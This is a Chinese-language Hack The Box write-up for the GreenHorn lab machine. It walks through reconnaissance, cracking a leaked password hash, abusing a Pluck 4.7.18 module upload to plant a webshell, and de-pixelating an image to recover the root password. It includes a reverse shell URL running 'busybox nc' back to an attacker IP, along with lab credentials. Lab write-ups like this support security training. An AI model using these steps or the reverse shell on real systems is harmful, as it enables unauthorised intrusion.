HTB GreenHorn Writeup
Recon:
1 | rustscan -a 10.10.11.25 --range 1-65535 |
1 | nmap 10.10.11.25 -p22,80,3000,8000 -sC -sV |
GetShell:
打开80端口,右键查看源代码中能看到login.php:
打开后发现pluck 4.7.18:
谷歌可以搜素到一个洞:
但是该漏洞需要认证成功之后才行,访问3000端口:
点击Explore可以看到疑似80端口web服务的源码:
在pass.php中有一串密文:
破解:
可以成功登录80端口:iloveyou1
存在漏洞地址:
1 | http://greenhorn.htb/admin.php?action=installmodule |
制作payload:
上传:
根据漏洞地址与3000端口代码仓库比对,发现webshell路径:
1 | http://greenhorn.htb/data/modules/test/simple-backdoor.php |
反弹shell:
1 | http://greenhorn.htb/data/modules/test/simple-backdoor.php?cmd=busybox%20nc%2010.10.16.3%20443%20-e%20sh |
在home目录下有两个用户,一个git,一个junior,使用密码iloveyou1进行ssh登录:
junior不支持密码登录,将反弹的shell升级为交互式shell,进行切换发现iloveyou1是junior用户的密码:
用户目录下有个pdf:
使用nc传送文件:
PDF中有一串马赛克:
找像素类密码恢复工具,首先需要在pdf中将打马赛克的图层提取出来:
1 | https://tools.pdf24.org/en/extract-images?source=post_page-----e87e1cc07864-------------------------------- |
将PDF传上去即可,随后使用如下项目进行还原:
1 | https://github.com/spipm/Depix?source=post_page-----e87e1cc07864-------------------------------- |
-s参数的图片是项目克隆后自带的image识别图片:
1 | python depix.py -p 0.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o result.png |
查看生成图片:
1 | sidefromsidetheothersidesidefromsidetheotherside |
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments